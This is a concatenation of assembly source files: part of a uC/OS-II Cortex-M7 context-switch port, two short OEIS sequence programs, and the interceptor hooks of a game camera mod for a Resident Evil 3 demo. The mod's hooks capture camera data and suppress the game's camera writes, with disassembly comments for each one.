OSTCBHighRdy; ; g) Get new process SP from TCB, SP = OSTCBHighRdy->OSTCBStkPtr; ; h) Restore R0-R11 and R14 from new process stack; ; i) Enable interrupts (tasks will run with interrupts enabled). ;******************************************************************************************************** OSStartHighRdy CPSID I ; Prevent interruption during context switch LDR R0, =NVIC_SYSPRI14 ; Set the PendSV exception priority LDR R1, =NVIC_PENDSV_PRI STRB R1, [R0] MOVS R0, #0 ; Set the PSP to 0 for initial context switch call MSR PSP, R0 LDR R0, =OS_CPU_ExceptStkBase ; Initialize the MSP to the OS_CPU_ExceptStkBase LDR R1, [R0] MSR MSP, R1 BL OSTaskSwHook ; Call OSTaskSwHook() for FPU Push & Pop LDR R0, =OSRunning ; OSRunning = TRUE MOVS R1, #1 STRB R1, [R0] LDR R0, =OSPrioCur ; OSPrioCur = OSPrioHighRdy; LDR R1, =OSPrioHighRdy LDRB R2, [R1] STRB R2, [R0] LDR R0, =OSTCBCur ; OSTCBCur = OSTCBHighRdy; LDR R1, =OSTCBHighRdy LDR R2, [R1] STR R2, [R0] LDR R0, [R2] ; R0 is new process SP; SP = OSTCBHighRdy->OSTCBStkPtr; MSR PSP, R0 ; Load PSP with new process SP MRS R0, CONTROL ORR R0, R0, #2 MSR CONTROL, R0 ISB ; Sync instruction stream LDMFD SP!, {R4-R11, LR} ; Restore r4-11, lr from new process stack LDMFD SP!, {R0-R3} ; Restore r0, r3 LDMFD SP!, {R12, LR} ; Load R12 and LR LDMFD SP!, {R1, R2} ; Load PC and discard xPSR CPSIE I BX R1 ;******************************************************************************************************** ; PERFORM A CONTEXT SWITCH (From task level) - OSCtxSw() ; PERFORM A CONTEXT SWITCH (From interrupt level) - OSIntCtxSw() ; ; Note(s) : 1) OSCtxSw() is called when OS wants to perform a task context switch. This function ; triggers the PendSV exception which is where the real work is done. ; ; 2) OSIntCtxSw() is called by OSIntExit() when it determines a context switch is needed as ; the result of an interrupt. This function simply triggers a PendSV exception which will ; be handled when there are no more interrupts active and interrupts are enabled. ;******************************************************************************************************** OSCtxSw OSIntCtxSw LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch) LDR R1, =NVIC_PENDSVSET STR R1, [R0] BX LR ;******************************************************************************************************** ; HANDLE PendSV EXCEPTION ; void OS_CPU_PendSVHandler(void) ; ; Note(s) : 1) PendSV is used to cause a context switch. This is a recommended method for performing ; context switches with Cortex-M. This is because the Cortex-M auto-saves half of the ; processor context on any exception, and restores same on return from exception. So only ; saving of R4-R11 & R14 is required and fixing up the stack pointers. Using the PendSV exception ; this way means that context saving and restoring is identical whether it is initiated from ; a thread or occurs due to an interrupt or exception. ; ; 2) Pseudo-code is: ; a) Get the process SP ; b) Save remaining regs r4-r11 & r14 on process stack; ; c) Save the process SP in its TCB, OSTCBCur->OSTCBStkPtr = SP; ; d) Call OSTaskSwHook(); ; e) Get current high priority, OSPrioCur = OSPrioHighRdy; ; f) Get current ready thread TCB, OSTCBCur = OSTCBHighRdy; ; g) Get new process SP from TCB, SP = OSTCBHighRdy->OSTCBStkPtr; ; h) Restore R4-R11 and R14 from new process stack; ; i) Perform exception return which will restore remaining context. ; ; 3) On entry into PendSV handler: ; a) The following have been saved on the process stack (by processor): ; xPSR, PC, LR, R12, R0-R3 ; b) Processor mode is switched to Handler mode (from Thread mode) ; c) Stack is Main stack (switched from Process stack) ; d) OSTCBCur points to the OS_TCB of the task to suspend ; OSTCBHighRdy points to the OS_TCB of the task to resume ; ; 4) Since PendSV is set to lowest priority in the system (by OSStartHighRdy() above), we ; know that it will only be run when no other exception or interrupt is active, and ; therefore safe to assume that context being switched out was using the process stack (PSP). ; ; 5) Increasing priority using a write to BASEPRI does not take effect immediately. ; (a) IMPLICATION This erratum means that the instruction after an MSR to boost BASEPRI ; might incorrectly be preempted by an insufficient high priority exception. ; ; (b) WORKAROUND The MSR to boost BASEPRI can be replaced by the following code sequence: ; ; CPSID i ; MSR to BASEPRI ; DSB ; ISB ; CPSIE i ;******************************************************************************************************** OS_CPU_PendSVHandler CPSID I ; Cortex-M7 errata notice. See Note #5 MOV32 R2, OS_KA_BASEPRI_Boundary ; Set BASEPRI priority level required for exception preemption LDR R1, [R2] MSR BASEPRI, R1 DSB ISB CPSIE I MRS R0, PSP ; PSP is process stack pointer STMFD R0!, {R4-R11, R14} ; Save remaining regs r4-11, R14 on process stack LDR R5, =OSTCBCur ; OSTCBCur->OSTCBStkPtr = SP; LDR R1, [R5] STR R0, [R1] ; R0 is SP of process being switched out ; At this point, entire context of process has been saved MOV R4, LR ; Save LR exc_return value BL OSTaskSwHook ; Call OSTaskSwHook() for FPU Push & Pop LDR R0, =OSPrioCur ; OSPrioCur = OSPrioHighRdy; LDR R1, =OSPrioHighRdy LDRB R2, [R1] STRB R2, [R0] LDR R1, =OSTCBHighRdy ; OSTCBCur = OSTCBHighRdy; LDR R2, [R1] STR R2, [R5] ORR LR, R4, #0x04 ; Ensure exception return uses process stack LDR R0, [R2] ; R0 is new process SP; SP = OSTCBHighRdy->OSTCBStkPtr; LDMFD R0!, {R4-R11, R14} ; Restore r4-11, R14 from new process stack MSR PSP, R0 ; Load PSP with new process SP MOV32 R2, #0 ; Restore BASEPRI priority level to 0 CPSID I MSR BASEPRI, R2 DSB ISB CPSIE I BX LR ; Exception return will restore remaining context END
; A135630: 2^(prime(n) - 2) - 1. ; 0,1,7,31,511,2047,32767,131071,2097151,134217727,536870911,34359738367,549755813887,2199023255551,35184372088831,2251799813685247,144115188075855871,576460752303423487,36893488147419103231,590295810358705651711,2361183241434822606847,151115727451828646838271,2417851639229258349412351,154742504910672534362390527,39614081257132168796771975167,633825300114114700748351602687,2535301200456458802993406410751,40564819207303340847894502572031,162259276829213363391578010288127 seq $0,6005 ; The odd prime numbers together with 1. trn $0,2 mov $2,2 pow $2,$0 mov $0,$2 sub $0,1
; A123335: a(n) = -2*a(n-1) + a(n-2) for n>1, a(0)=1, a(1)=-1. ; 1,-1,3,-7,17,-41,99,-239,577,-1393,3363,-8119,19601,-47321,114243,-275807,665857,-1607521,3880899,-9369319,22619537,-54608393,131836323,-318281039,768398401,-1855077841,4478554083,-10812186007,26102926097,-63018038201,152139002499,-367296043199,886731088897,-2140758220993,5168247530883,-12477253282759,30122754096401,-72722761475561,175568277047523,-423859315570607,1023286908188737,-2470433131948081,5964153172084899 mov $3,-26 mov $4,2 lpb $0 sub $0,1 mov $2,$3 mov $3,$4 add $3,4 mov $5,$4 mov $4,$2 mul $5,2 sub $4,$5 lpe add $1,$4 add $1,2 mod $5,4 add $5,2 mul $5,2 add $5,$3 mov $2,$5 add $2,1 sub $1,$2 sub $1,25 div $1,64 mul $1,2 add $1,1
;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;// Part of Injectable Generic Camera System ;// Copyright(c) 2020, Frans Bouma ;// All rights reserved. ;// https://github.com/FransBouma/InjectableGenericCameraSystem ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions are met : ;// ;// * Redistributions of source code must retain the above copyright notice, this ;// list of conditions and the following disclaimer. ;// ;// * Redistributions in binary form must reproduce the above copyright notice, ;// this list of conditions and the following disclaimer in the documentation ;// and / or other materials provided with the distribution. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ;// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;--------------------------------------------------------------- ; Game specific asm file to intercept execution flow to obtain addresses, prevent writes etc. ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Public definitions so the linker knows which names are present in this file PUBLIC cameraStructInterceptor PUBLIC cameraWrite1Interceptor PUBLIC cameraWrite2Interceptor PUBLIC cameraWrite3Interceptor PUBLIC cameraWrite4Interceptor PUBLIC cameraWrite5Interceptor PUBLIC cameraWrite6Interceptor PUBLIC timestopReadInterceptor PUBLIC resolutionScaleReadInterceptor PUBLIC displayTypeInterceptor PUBLIC dofSelectorWriteInterceptor ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Externs which are used and set by the system. Read / write these ; values in asm to communicate with the system EXTERN g_cameraEnabled: byte EXTERN g_cameraStructAddress: qword EXTERN g_resolutionScaleAddress: qword EXTERN g_timestopStructAddress: qword EXTERN g_displayTypeStructAddress: qword EXTERN g_dofStructAddress: qword ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Own externs, defined in InterceptorHelper.cpp EXTERN _cameraStructInterceptionContinue: qword EXTERN _cameraWrite1InterceptionContinue: qword EXTERN _cameraWrite2InterceptionContinue: qword EXTERN _cameraWrite3InterceptionContinue: qword EXTERN _cameraWrite4InterceptionContinue: qword EXTERN _cameraWrite5InterceptionContinue: qword EXTERN _cameraWrite6InterceptionContinue: qword EXTERN _timestopReadInterceptionContinue: qword EXTERN _resolutionScaleReadInterceptionContinue: qword EXTERN _displayTypeInterceptionContinue: qword EXTERN _dofSelectorWriteInterceptionContinue: qword .data .code cameraStructInterceptor PROC ; intercepts camera and also blocks FOV write 1 ;re3demo.exe+160A72B9 - 44 0F29 8C 24 10010000 - movaps [rsp+00000110],xmm9 ;re3demo.exe+160A72C2 - F3 44 0F10 48 34 - movss xmm9,[rax+34] ;re3demo.exe+160A72C8 - 48 85 C0 - test rax,rax ;re3demo.exe+160A72CB - 75 13 - jne re3demo.exe+160A72E0 ;re3demo.exe+160A72CD - 45 31 C0 - xor r8d,r8d ;re3demo.exe+160A72D0 - 8D 50 38 - lea edx,[rax+38] ;re3demo.exe+160A72D3 - 48 89 D9 - mov rcx,rbx ;re3demo.exe+160A72D6 - E8 F5E21EEC - call re3demo.exe+22955D0 ;re3demo.exe+160A72DB - E9 B50C0000 - jmp re3demo.exe+160A7F95 ;re3demo.exe+160A72E0 - 8B 40 38 - mov eax,[rax+38] << INTERCEPT HERE ;re3demo.exe+160A72E3 - 89 82 B4000000 - mov [rdx+000000B4],eax << Write FOV ;re3demo.exe+160A72E9 - 48 83 79 18 00 - cmp qword ptr [rcx+18],00 ;re3demo.exe+160A72EE - 0F85 A10C0000 - jne re3demo.exe+160A7F95 << CONTINUE HERE ;re3demo.exe+160A72F4 - 48 8B 8A C8000000 - mov rcx,[rdx+000000C8] ;re3demo.exe+160A72FB - 44 0F29 84 24 20010000 - movaps [rsp+00000120],xmm8 ;re3demo.exe+160A7304 - 48 85 C9 - test rcx,rcx ;re3demo.exe+160A7307 - 74 26 - je re3demo.exe+160A732F ;re3demo.exe+160A7309 - F3 0F10 8D 90000000 - movss xmm1,[rbp+00000090] ;re3demo.exe+160A7311 - 48 83 C1 10 - add rcx,10 { 16 } ;re3demo.exe+160A7315 - E8 166920EC - call re3demo.exe+22ADC30 ;re3demo.exe+160A731A - 48 8B 43 50 - mov rax,[rbx+50] mov [g_cameraStructAddress], rdx mov eax,[rax+38h] cmp byte ptr [g_cameraEnabled], 1 je exit originalCode: mov [rdx+000000B4h],eax exit: cmp qword ptr [rcx+18h],00h jmp qword ptr [_cameraStructInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraStructInterceptor ENDP cameraWrite1Interceptor PROC ; fov write 2 ;re3demo.exe+160A76AE - 48 83 78 18 00 - cmp qword ptr [rax+18],00 ;re3demo.exe+160A76B3 - 0F85 CB080000 - jne re3demo.exe+160A7F84 ;re3demo.exe+160A76B9 - 48 8B 86 B8000000 - mov rax,[rsi+000000B8] ;re3demo.exe+160A76C0 - 48 85 C0 - test rax,rax ;re3demo.exe+160A76C3 - 0F84 DE020000 - je re3demo.exe+160A79A7 ;re3demo.exe+160A76C9 - F3 0F10 78 30 - movss xmm7,[rax+30] ;re3demo.exe+160A76CE - F3 44 0F10 48 34 - movss xmm9,[rax+34] << INTERCEPT HERE ;re3demo.exe+160A76D4 - 8B 40 38 - mov eax,[rax+38] ;re3demo.exe+160A76D7 - 89 87 B4000000 - mov [rdi+000000B4],eax << WRITE FOV ;re3demo.exe+160A76DD - 48 8B 43 50 - mov rax,[rbx+50] << CONTINUE HERE ;re3demo.exe+160A76E1 - 48 83 78 18 00 - cmp qword ptr [rax+18],00 ;re3demo.exe+160A76E6 - 0F85 98080000 - jne re3demo.exe+160A7F84 ;re3demo.exe+160A76EC - F3 0F10 86 A0000000 - movss xmm0,[rsi+000000A0] ;re3demo.exe+160A76F4 - F3 0F10 8E A4000000 - movss xmm1,[rsi+000000A4] ;re3demo.exe+160A76FC - F3 0F10 96 A8000000 - movss xmm2,[rsi+000000A8] ;re3demo.exe+160A7704 - F3 0F11 87 90000000 - movss [rdi+00000090],xmm0 ;re3demo.exe+160A770C - F3 0F11 8F 94000000 - movss [rdi+00000094],xmm1 ; Update June 2020 ; 000000014065A24C | F3:0F1070 30 | movss xmm6,dword ptr [rax+30] ; 000000014065A251 | F3 0F 10 78 34 | movss xmm7,dword ptr [rax+34] << INTERCEPT HERE ; 000000014065A256 | 8B 40 38 | mov eax,dword ptr [rax+38] ; 000000014065A259 | 89 86 B4000000 | mov dword ptr [rsi+B4],eax << WRITE FOV ; 000000014065A25F | 48:8B47 50 | mov rax,qword ptr [rdi+50] << CONTINUE HERE ; 000000014065A263 | 48:8378 18 00 | cmp qword ptr [rax+18],0 ; 000000014065A268 | 0F85 6A080000 | jne re3_dump.14065AAD8 ; 000000014065A26E | F3:0F1083 A0000000 | movss xmm0,dword ptr [rbx+A0] ; 000000014065A276 | F3:0F108B A4000000 | movss xmm1,dword ptr [rbx+A4] ; Update August 2020, it's tempting to change the block to avoid teh xmm* reads, but a jmp lands below the fov write. ; so we can't use that. ; 000000014066D499 | 48:8B86 B8000000 | mov rax,qword ptr ds:[rsi+B8] ; 000000014066D4A0 | 48:85C0 | test rax,rax ; 000000014066D4A3 | 0F84 DE020000 | je re3_dump.14066D787 ; 000000014066D4A9 | F3:0F1078 30 | movss xmm7,dword ptr ds:[rax+30] ; 000000014066D4AE | F344:0F1048 34 | movss xmm9,dword ptr ds:[rax+34] << INTERCEPT HERE ; 000000014066D4B4 | 8B40 38 | mov eax,dword ptr ds:[rax+38] ; 000000014066D4B7 | 8987 B4000000 | mov dword ptr ds:[rdi+B4],eax << WRITE FOV ; 000000014066D4BD | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] << CONTINUE HERE << JMP LANDS HERE, can't use this. ; 000000014066D4C1 | 48:8378 18 00 | cmp qword ptr ds:[rax+18],0 ; 000000014066D4C6 | 0F85 A4080000 | jne re3_dump.14066DD70 ; 000000014066D4CC | F3:0F1086 A0000000 | movss xmm0,dword ptr ds:[rsi+A0] ; 000000014066D4D4 | F3:0F108E A4000000 | movss xmm1,dword ptr ds:[rsi+A4] ; 000000014066D4DC | F3:0F1096 A8000000 | movss xmm2,dword ptr ds:[rsi+A8] movss xmm9,dword ptr [rax+34h] mov eax,dword ptr [rax+38h] cmp byte ptr [g_cameraEnabled], 1 je exit originalCode: mov dword ptr [rdi+0B4h],eax exit: jmp qword ptr [_cameraWrite1InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite1Interceptor ENDP cameraWrite2Interceptor PROC ; fov write 3 ;re3demo.exe+160A7A42 - F2 0F59 D1 - mulsd xmm2,xmm1 ;re3demo.exe+160A7A46 - 66 0F5A C2 - cvtpd2ps xmm0,xmm2 ;re3demo.exe+160A7A4A - E8 75E479EE - call re3demo.exe+4845EC4 ;re3demo.exe+160A7A4F - F3 0F59 05 5D1C82EE - mulss xmm0,[re3demo.exe+48C96B4] ;re3demo.exe+160A7A57 - F3 0F5A C0 - cvtss2sd xmm0,xmm0 ;re3demo.exe+160A7A5B - F2 0F59 05 85440DEF - mulsd xmm0,[re3demo.exe+517BEE8] ;re3demo.exe+160A7A63 - F2 0F5A C0 - cvtsd2ss xmm0,xmm0 << INTERCEPT HERE ;re3demo.exe+160A7A67 - F3 0F11 87 B4000000 - movss [rdi+000000B4],xmm0 << WRITE FOV ;re3demo.exe+160A7A6F - 48 8B 43 50 - mov rax,[rbx+50] ;re3demo.exe+160A7A73 - 48 8B 48 18 - mov rcx,[rax+18] << CONTINUE HERE ;re3demo.exe+160A7A77 - 48 85 C9 - test rcx,rcx ;re3demo.exe+160A7A7A - 0F85 CE040000 - jne re3demo.exe+160A7F4E ;re3demo.exe+160A7A80 - 48 85 C9 - test rcx,rcx ;re3demo.exe+160A7A83 - 0F85 C5040000 - jne re3demo.exe+160A7F4E ;// Update June 2020: ;000000014065A5D3 | E8 5CE01204 | call re3_dump.144788634 ;000000014065A5D8 | F3 0F5905 14F11A04 | mulss xmm0,dword ptr [1448096F4] ;000000014065A5E0 | F3 0F5AC0 | cvtss2sd xmm0,xmm0 ;000000014065A5E4 | F2 0F5905 142BA604 | mulsd xmm0,qword ptr [1450BD100] ;000000014065A5EC | F2 0F 5A C0 | cvtsd2ss xmm0,xmm0 << INTERCEPT HERE ;000000014065A5F0 | F3 0F1186 B4000000 | movss dword ptr [rsi+B4],xmm0 << WRITE FOV ;000000014065A5F8 | 48 8B47 50 | mov rax,qword ptr [rdi+50] ;000000014065A5FC | 48 8B48 18 | mov rcx,qword ptr [rax+18] << CONTINUE HERE ;000000014065A600 | 48 85C9 | test rcx,rcx ;000000014065A603 | 0F85 90040000 | jne re3_dump.14065AA99 ;000000014065A609 | 48:85C9 | test rcx,rcx ; Update August 2020 ;000000014066D82F | E8 E0C61D04 | call re3_dump.144849F14 ;000000014066D834 | F3:0F5905 78FE2504 | mulss xmm0,dword ptr ds:[1448CD6B4] ;000000014066D83C | F3:0F5AC0 | cvtss2sd xmm0,xmm0 ;000000014066D840 | F2:0F5905 F836B104 | mulsd xmm0,qword ptr ds:[145180F40] ;000000014066D848 | F2:0F5AC0 | cvtsd2ss xmm0,xmm0 << INTERCEPT HERE ;000000014066D84C | F3:0F1187 B4000000 | movss dword ptr ds:[rdi+B4],xmm0 << WRITE FOV ;000000014066D854 | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] ;000000014066D858 | 48:8B48 18 | mov rcx,qword ptr ds:[rax+18] << CONTINUE HERE ;000000014066D85C | 48:85C9 | test rcx,rcx ;000000014066D85F | 0F85 D5040000 | jne re3_dump.14066DD3A ;000000014066D865 | 48:85C9 | test rcx,rcx cvtsd2ss xmm0,xmm0 cmp byte ptr [g_cameraEnabled], 1 je exit originalCode: movss dword ptr [rdi+000000B4h],xmm0 exit: mov rax,[rbx+50h] jmp qword ptr [_cameraWrite2InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite2Interceptor ENDP cameraWrite3Interceptor PROC ; coords write ;re3demo.exe+160A780D - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3demo.exe+160A7812 - 0F85 48070000 - jne re3demo.exe+160A7F60 ;re3demo.exe+160A7818 - F3 0F10 44 24 50 - movss xmm0,[rsp+50] ;re3demo.exe+160A781E - F3 0F10 4C 24 54 - movss xmm1,[rsp+54] ;re3demo.exe+160A7824 - F3 0F10 54 24 58 - movss xmm2,[rsp+58] ;re3demo.exe+160A782A - F3 0F11 87 80000000 - movss [rdi+00000080],xmm0 << INTERCEPT HERE <<< Write x ;re3demo.exe+160A7832 - F3 0F11 8F 84000000 - movss [rdi+00000084],xmm1 <<< Write y ;re3demo.exe+160A783A - F3 0F11 97 88000000 - movss [rdi+00000088],xmm2 <<< Write z ;re3demo.exe+160A7842 - 48 8B 43 50 - mov rax,[rbx+50] << CONTINUE HERE ;re3demo.exe+160A7846 - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3demo.exe+160A784B - 0F85 0F070000 - jne re3demo.exe+160A7F60 ;re3demo.exe+160A7851 - F3 0F10 74 24 40 - movss xmm6,[rsp+40] ;re3demo.exe+160A7857 - F3 44 0F10 44 24 44 - movss xmm8,[rsp+44] ;re3demo.exe+160A785E - 44 0F29 94 24 00010000 - movaps [rsp+00000100],xmm10 ;re3demo.exe+160A7867 - F3 44 0F10 54 24 48 - movss xmm10,[rsp+48] ;re3demo.exe+160A786E - F3 0F11 B7 A0000000 - movss [rdi+000000A0],xmm6 ;// Update June 2020 ;000000014065A39A | F3:0F104424 50 | movss xmm0,dword ptr [rsp+50] ;000000014065A3A0 | F3:0F104C24 54 | movss xmm1,dword ptr [rsp+54] ;000000014065A3A6 | F3:0F105424 58 | movss xmm2,dword ptr [rsp+58] ;000000014065A3AC | F3:0F1186 80000000 | movss dword ptr [rsi+80],xmm0 << INTERCEPT HERE <<< Write x ;000000014065A3B4 | F3:0F118E 84000000 | movss dword ptr [rsi+84],xmm1 <<< Write y ;000000014065A3BC | F3:0F1196 88000000 | movss dword ptr [rsi+88],xmm2 <<< Write z ;000000014065A3C4 | 48:8B47 50 | mov rax,qword ptr [rdi+50] << CONTINUE HERE ;000000014065A3C8 | 48:8378 18 00 | cmp qword ptr [rax+18],0 ;000000014065A3CD | 0F85 E1060000 | jne re3_dump.14065AAB4 ;// Update August 2020 ;000000014066D5E4 | E8 B7180000 | call re3_dump.14066EEA0 ;000000014066D5E9 | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] ;000000014066D5ED | 48:8378 18 00 | cmp qword ptr ds:[rax+18],0 ;000000014066D5F2 | 0F85 54070000 | jne re3_dump.14066DD4C ;000000014066D5F8 | F3:0F104424 50 | movss xmm0,dword ptr ss:[rsp+50] ;000000014066D5FE | F3:0F104C24 54 | movss xmm1,dword ptr ss:[rsp+54] ;000000014066D604 | F3:0F105424 58 | movss xmm2,dword ptr ss:[rsp+58] ;000000014066D60A | F3:0F1187 80000000 | movss dword ptr ds:[rdi+80],xmm0 << INTERCEPT HERE <<< Write x ;000000014066D612 | F3:0F118F 84000000 | movss dword ptr ds:[rdi+84],xmm1 <<< Write y ;000000014066D61A | F3:0F1197 88000000 | movss dword ptr ds:[rdi+88],xmm2 <<< Write z ;000000014066D622 | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] << CONTINUE HERE ;000000014066D626 | 48:8378 18 00 | cmp qword ptr ds:[rax+18],0 ;000000014066D62B | 0F85 1B070000 | jne re3_dump.14066DD4C ;000000014066D631 | F3:0F107424 40 | movss xmm6,dword ptr ss:[rsp+40] ;000000014066D637 | F344:0F104424 44 | movss xmm8,dword ptr ss:[rsp+44] cmp byte ptr [g_cameraEnabled], 1 je exit originalCode: movss dword ptr [rdi+00000080h],xmm0 movss dword ptr [rdi+00000084h],xmm1 movss dword ptr [rdi+00000088h],xmm2 exit: jmp qword ptr [_cameraWrite3InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite3Interceptor ENDP cameraWrite4Interceptor PROC ; coords write 2 ;re3demo.exe+160A7646 - 0F10 46 70 - movups xmm0,[rsi+70] ;re3demo.exe+160A764A - 0F11 47 70 - movups [rdi+70],xmm0 ;re3demo.exe+160A764E - 48 8B 43 50 - mov rax,[rbx+50] ;re3demo.exe+160A7652 - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3demo.exe+160A7657 - 0F85 27090000 - jne re3demo.exe+160A7F84 ;re3demo.exe+160A765D - F3 0F10 86 80000000 - movss xmm0,[rsi+00000080] ;re3demo.exe+160A7665 - F3 0F10 8E 84000000 - movss xmm1,[rsi+00000084] ;re3demo.exe+160A766D - F3 0F10 96 88000000 - movss xmm2,[rsi+00000088] ;re3demo.exe+160A7675 - F3 0F11 87 80000000 - movss [rdi+00000080],xmm0 << INTERCEPT HERE << X ;re3demo.exe+160A767D - F3 0F11 8F 84000000 - movss [rdi+00000084],xmm1 << Y ;re3demo.exe+160A7685 - F3 0F11 97 88000000 - movss [rdi+00000088],xmm2 << Z ;re3demo.exe+160A768D - 48 8B 43 50 - mov rax,[rbx+50] << CONTINUE HERE ;re3demo.exe+160A7691 - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3demo.exe+160A7696 - 0F85 E8080000 - jne re3demo.exe+160A7F84 ;re3demo.exe+160A769C - 0F10 86 90000000 - movups xmm0,[rsi+00000090] ;// Update June 2020 ;re3.exe+65A1D1 - 48 8B 47 50 - mov rax,[rdi+50] ;re3.exe+65A1D5 - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3.exe+65A1DA - 0F85 F8080000 - jne re3.exe+65AAD8 ;re3.exe+65A1E0 - F3 0F10 83 80000000 - movss xmm0,[rbx+00000080] ;re3.exe+65A1E8 - F3 0F10 8B 84000000 - movss xmm1,[rbx+00000084] ;re3.exe+65A1F0 - F3 0F10 93 88000000 - movss xmm2,[rbx+00000088] ;re3.exe+65A1F8 - F3 0F11 86 80000000 - movss [rsi+00000080],xmm0 << INTERCEPT HERE << X ;re3.exe+65A200 - F3 0F11 8E 84000000 - movss [rsi+00000084],xmm1 << Y ;re3.exe+65A208 - F3 0F11 96 88000000 - movss [rsi+00000088],xmm2 << Z ;re3.exe+65A210 - 48 8B 47 50 - mov rax,[rdi+50] << CONTINUE HERE ;re3.exe+65A214 - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3.exe+65A219 - 0F85 B9080000 - jne re3.exe+65AAD8 ;// Update August 2020 ;000000014066D426 | 0F1046 70 | movups xmm0,xmmword ptr ds:[rsi+70] ;000000014066D42A | 0F1147 70 | movups xmmword ptr ds:[rdi+70],xmm0 ;000000014066D42E | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] ;000000014066D432 | 48:8378 18 00 | cmp qword ptr ds:[rax+18],0 ;000000014066D437 | 0F85 33090000 | jne re3_dump.14066DD70 ;000000014066D43D | F3:0F1086 80000000 | movss xmm0,dword ptr ds:[rsi+80] ;000000014066D445 | F3:0F108E 84000000 | movss xmm1,dword ptr ds:[rsi+84] ;000000014066D44D | F3:0F1096 88000000 | movss xmm2,dword ptr ds:[rsi+88] ;000000014066D455 | F3:0F1187 80000000 | movss dword ptr ds:[rdi+80],xmm0 << INTERCEPT HERE << X ;000000014066D45D | F3:0F118F 84000000 | movss dword ptr ds:[rdi+84],xmm1 << Y ;000000014066D465 | F3:0F1197 88000000 | movss dword ptr ds:[rdi+88],xmm2 << Z ;000000014066D46D | 48:8B43 50 | mov rax,qword ptr ds:[rbx+50] << CONTINUE HERE ;000000014066D471 | 48:8378 18 00 | cmp qword ptr ds:[rax+18],0 ;000000014066D476 | 0F85 F4080000 | jne re3_dump.14066DD70 ;000000014066D47C | 0F1086 90000000 | movups xmm0,xmmword ptr ds:[rsi+90] ;000000014066D483 | 0F1187 A0000000 | movups xmmword ptr ds:[rdi+A0],xmm0 cmp byte ptr [g_cameraEnabled], 1 je exit originalCode: movss dword ptr [rdi+00000080h],xmm0 movss dword ptr [rdi+00000084h],xmm1 movss dword ptr [rdi+00000088h],xmm2 exit: jmp qword ptr [_cameraWrite4InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite4Interceptor ENDP cameraWrite5Interceptor PROC ; quaternion write ;re3demo.exe+160A768D - 48 8B 43 50 - mov rax,[rbx+50] ;re3demo.exe+160A7691 - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3demo.exe+160A7696 - 0F85 E8080000 - jne re3demo.exe+160A7F84 ;re3demo.exe+160A769C - 0F10 86 90000000 - movups xmm0,[rsi+00000090] << INTERCEPT HERE ;re3demo.exe+160A76A3 - 0F11 87 A0000000 - movups [rdi+000000A0],xmm0 << WRITE Quaternion ;re3demo.exe+160A76AA - 48 8B 43 50 - mov rax,[rbx+50] << CONTINUE HERE ;re3demo.exe+160A76AE - 48 83 78 18 00 - cmp qword ptr [rax+18],00 { 0 } ;re3demo.exe+160A76B3 - 0F85 CB080000 - jne re3demo.exe+160A7F84 ;re3demo.exe+160A76B9 - 48 8B 86 B8000000 - mov rax,[rsi+000000B8] ;re3demo.exe+160A76C0 - 48 85 C0 - test rax,rax ;re3demo.exe+160A76C3 - 0F84 DE020000 - je re3demo.exe+160A79A7 ;re3demo.exe+160A76C9 - F3 0F10 78 30 - movss xmm7,[rax+30] ;re3demo.exe+160A76CE - F3 44 0F10 48 34 - movss xmm9,[rax+34] ;re3demo.exe+160A76D4 - 8B 40 38 - mov eax,[rax+38] ;re3demo.exe+160A76D7 - 89 87 B4000000 - mov [rdi+000000B4],eax ;// Update June 2020 ;000000014065A210 | 48:8B47 50 | mov rax,qword ptr [rdi+50] ;000000014065A214 | 48:8378 18 00 | cmp qword ptr [rax+18],0 ;000000014065A219 | 0F85 B9080000 | jne re3_dump.14065AAD8 ;000000014065A21F | 0F1083 90000000 | movups xmm0,xmmword ptr [rbx+90] << INTERCEPT HERE ;000000014065A226 | 0F1186 A0000000 | movups xmmword ptr [rsi+A0],xmm0 << WRITE Quaternion ;000000014065A22D | 48:8B47 50 | mov rax,qword ptr [rdi+50] << CONTINUE HERE ;000000014065A231 | 48:8378 18 00 | cmp qword ptr [rax+18],0 ;000000014065A236 | 0F85 9C080000 | jne re3_dump.14065AAD8 